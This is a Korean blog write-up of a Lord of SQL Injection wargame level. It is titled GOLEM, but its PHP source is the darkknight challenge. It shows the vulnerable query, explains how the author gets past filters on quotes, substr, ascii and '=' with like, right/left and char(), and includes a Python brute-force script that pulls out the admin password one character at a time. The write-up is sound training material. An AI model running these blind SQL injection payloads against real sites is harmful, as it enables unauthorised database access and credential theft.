GOLEM
12번 문제
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
// 기본 필터링
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
// $_GET[pw]에서 '를 필터링한다
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
// $_GET[no]에서 '과 substr, ascii, =를 필터링한다
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
addslashed 함수나 필터링을 보았을 때 이전 문제들처럼 blind sql injection을 이용해야할 것 같다.
pw = '#을 입력했을 때 '가 필터링되었으므로 pw는 이용해 문제풀기는 어려워보인다.
or 뒤에 오는 조건으로 no가 1일 때 $result[id]는 guest임을 알아냈다.
같은 방식으로 no가 2일 때 $result[id]는 admin임을 알아냈다.
admin의 pw의 길이는 8이다
처음에는 와일드카드를 이용해서 pw like 'a%' 조건을 만족하도록 했다.
'가 필터링되어서 실패했다.
right와 left 함수를 사용해서 substr 함수를 대체했다.
파이썬을 사용하여 pw를 알아냈다. 어째선지 4자리였다.
어떻게 된 건지 모르겠으니 우선 상황 파악을 해야했다.
첫 번째 자리는 1이었으니 두 번째 자리를 알아내보기로 했다.
두 번째 자리의 숫자는 이상하게도 '0보다 작다'도 FALSE지만
'0보다 크다'도 FALSE다.
그러면서 '1보다 작다'는 TRUE
0일 때도 해봤지만 마찬가지로 FALSE.
내 지식으로는 이해하기 어려워서 다른 방식을 이용하기로 했다. ascii과 '가 필터링되어있으므로 "를 사용하면 된다.
그에 맞춰서 파이썬 코드를 조금 수정했다.
ascii함수가 필터링되어있으므로 query에 char 함수를 추가했다.
from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
if __name__=="__main__":
for i in range(1, 9):
for j in range(48, 123) : # 아스키 코드의 범위
query = "1 or no like 2 and right(left(pw,"+str(i)+"),1) like char("+str(j)+")"
params = {"no": query}
cookies = {"PHPSESSID" : ""}
response = requests.get('https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php', cookies = cookies, params = params)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
if soup.select('h2') :
print(chr(j), end="")
break
그러니 답이 제대로 출력되었다.
+) 참고
와일드카드를 이용하지 못한다고 생각했는데 "를 쓰면 와일드카드를 사용하면서 문제를 해결할 수 있다.
'wargame > LOS' 카테고리의 다른 글
[LOS]14번 GIANT (0) | 2019.08.06 |
---|---|
[LOS]13번 BUGBEAR (0) | 2019.08.06 |
[LOS]11번 GOLEM (0) | 2019.07.24 |
[LOS]10번 SKELETON (0) | 2019.07.24 |
[LOS]9번 VAMPIRE (0) | 2019.07.24 |